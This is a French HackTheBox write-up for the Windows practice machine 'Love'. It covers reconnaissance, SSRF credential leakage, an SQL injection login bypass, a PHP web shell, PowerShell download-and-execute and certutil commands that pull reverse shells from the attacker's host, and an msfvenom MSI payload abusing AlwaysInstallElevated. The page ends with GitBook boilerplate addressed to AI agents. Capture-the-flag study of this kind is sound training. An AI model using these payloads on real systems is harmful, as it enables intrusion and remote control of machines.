> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Compte rendu HackTheBox de Love

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**Compétences :**

* Injection SQL (SQLI)
* Falsification de requête côté serveur (SSRF)
* Abus du téléversement de fichiers
* Exploitation du système de vote
* Abuser de AlwaysInstallElevated (fichier msiexec/msi)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/d8af8c6415b55ac8e8645b513e0aa9a23f1e2118" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/9834b0035f15e26c46f46ad2e812081c23c9b9fd" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :** Exploration des ports ouverts et exportation dans le fichier « allPorts » du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="/files/66c5f4aac2aa40cdfcad16f15a909ab8ec0e2d1f" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :** Utilisation de la fonction extractport pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

<figure><img src="/files/3992b73e1c6504f64f68fd1b587dd2c7974a3e7d" alt=""><figcaption></figcaption></figure>

**Scan des versions des ports avec Nmap :** Utilisation de Nmap pour scanner les versions des ports et extraire les informations dans le fichier « targeted » :

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="/files/6cf4f338c4cec418cd32bf6d134a63a576324d4a" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/9927d83a6cc7feea8921bac73a3a4ed6f6ab0a6d" alt=""><figcaption></figcaption></figure></div>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` le fichier

<figure><img src="/files/ac9dbf3c6450ee45c4268b1ada32e5c354facc19" alt="" width="563"><figcaption></figcaption></figure>

**Recherche de répertoires :**

Nous utilisons Gobuster pour rechercher des répertoires sur le site :

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/ddc3f1d7fd5cd435a8e34944fbf8a56710b8f93d" alt=""><figcaption></figcaption></figure>

Dans le `admin` Dans ce répertoire, nous découvrons un panneau d'administration.

<figure><img src="/files/0d853a0a2caa7228fb19e16621cd0c1ef5115555" alt=""><figcaption></figcaption></figure>

## Exploitation du système de vote :

Dans ce cas, il existe deux façons d'exploiter le panneau d'administration du système de vote :

### 1. Vulnérabilité SSRF :

Le port 443 révèle un `staging.love.htb` sous-domaine que nous ajoutons à notre `/etc/hosts` .

<figure><img src="/files/c7cd09d7e65da18d6d26e132458c41fd4b4b3e68" alt="" width="563"><figcaption></figcaption></figure>

Ce site peut scanner des sites web via une URL.

<figure><img src="/files/fc8881a242ce099f901385ff97ce2e61aea83496" alt=""><figcaption></figcaption></figure>

En analysant `localhost:5000` (non accessible depuis l'extérieur), nous découvrons des identifiants :

`admin: @LoveIsInTheAir!!!!`

<figure><img src="/files/7b786376fe49895f8b0ce23cc1c399d85994512f" alt=""><figcaption></figcaption></figure>

Remarque : depuis l'extérieur, le message « You don't have permission to access this resource. » s'affiche, bloquant l'accès.

<figure><img src="/files/9aefd19778bab67eac6df31e9d42356d0147b2ad" alt="" width="563"><figcaption></figcaption></figure>

### **2. Vulnérabilité d'injection SQL (**[**SQLi**](/fr/web/sql-injection.md)**) :**

Avec `searchsploit` nous recherchons des vulnérabilités spécifiques du système de vote et trouvons le payload suivant :

<figure><img src="/files/fc36765dcdf91e96e51763fd05029a9b1eb46686" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/caff1cdc85c8f84112e233d37486f1a31ee60b99" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

À l'aide de Burp Suite, nous accédons au tableau de bord.

<figure><img src="/files/50c091e2b6d2561e0713fc1c8d6fca9cd3d8140c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/212eeb1c146e3c777ad3bf542566bdeb9d8d57d0" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de téléversement de fichiers :

Une fois dans le tableau de bord, une option permet de créer un nouvel utilisateur. Nous créons un `cmd.php` fichier pour exécuter des commandes sur le serveur :

<figure><img src="/files/9bca4a4d33d8f8f4eddf6f4ccb5843ddcf0969da" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/3b3a91b027a3651a00cadac1f26ecf9f49ddff3e" alt="" width="482"><figcaption></figcaption></figure>

Le panneau n'applique aucune vérification de sécurité, ce qui nous permet d'injecter des commandes (par exemple, `whoami`). En testant une commande ping, nous vérifions la connexion :

<figure><img src="/files/657401e18fb1cfe38bed0920183e1793a4ff7fb9" alt=""><figcaption></figcaption></figure>

nous allons vérifier s'il peut lancer un ping

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Comme nous recevons la réponse, nous confirmons la possibilité d'exécuter des commandes sur la machine cible

<figure><img src="/files/91d7a37b00fa4216bdec9f4699fd7ae29f8d0cc2" alt="" width="563"><figcaption></figcaption></figure>

**Commande PowerShell pour un shell inversé**

Une fois que nous verrons que nous pouvons exécuter des commandes, nous téléchargerons le `PS.ps1` script sur notre machine.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

À la fin du script, nous ajoutons la ligne suivante :

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/024be92195cf15fe6aec836d3ce630f730d6c223" alt=""><figcaption></figcaption></figure>

Nous allons créer un serveur web avec le `PS.ps1` le script

```bash
python3 -m http.server 80
```

Ensuite, nous modifierons la commande pour qu'elle pointe vers notre serveur web :

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Enfin, nous écoutons sur le port 4444 :

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/30b9c511d455611f63c61530be6de0d1e2a14e83" alt=""><figcaption></figcaption></figure></div>

### Flag user.txt :

<figure><img src="/files/522fb7cbc704aa2f48ee519375757d51f658fef4" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges :

### **Énumération avec winPEASx64.exe** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

Pour effectuer une élévation de privilèges sur un serveur Windows, exécutez d'abord l' `winPEAS` outil de reconnaissance.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

Téléchargement de l'outil de reconnaissance winPEASx64.exe.

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="/files/a2b78863df2214640a6549a2573da3a91650d321" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="/files/14e23eb5c9c7952d96d62743377fe4da5a59f067" alt=""><figcaption></figcaption></figure>

### Vérification de AlwaysInstallElevated

Le `winPEAS` L'outil vérifie divers paramètres de sécurité du système. Nous nous intéressons particulièrement à la `AlwaysInstallElevated` clé de registre. Si cette clé est définie sur `1` dans `HKLM` (HKEY LOCAL MACHINE), cela indique que tous les `.msi` fichiers peuvent être installés avec des privilèges élevés, ce qui constitue une vulnérabilité.

<figure><img src="/files/44a8f68008ae7c223699e95ed34ee859c70bf4d0" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**Créer un fichier .msi pour obtenir un shell inversé**

Pour exploiter cette vulnérabilité, nous allons créer un `.msi` fichier qui, une fois exécuté, nous fournira un shell inversé. Nous utilisons `msfvenom` pour générer ce fichier :

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**Transfert du fichier .msi**/ fichier Après avoir créé le fichier, nous devons le transférer vers la machine cible :

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="/files/8ec8e09ce203068db628be2e4ef0c52da8911603" alt=""><figcaption></figcaption></figure>

**Écouter le port 443**/ Avant d'exécuter le `.msi` fichier, nous devons écouter le port que nous avons spécifié. Utilisons `nc` (netcat) pour cela :

```powershell
rlwrap nc -nlvp 443
```

**Exécution de la commande d'installation**/ Enfin, nous exécutons le `.msi` fichier en utilisant `msiexec`, ce qui déclenche l'installation silencieuse :

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="/files/41264b3a72379c21509063e46e9da919b2dc1e18" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/b5f4d555dae3aa8270a459084976625a924a02c4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d6696f9df123ca7fd3c69d8080af4ccfa0410421" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
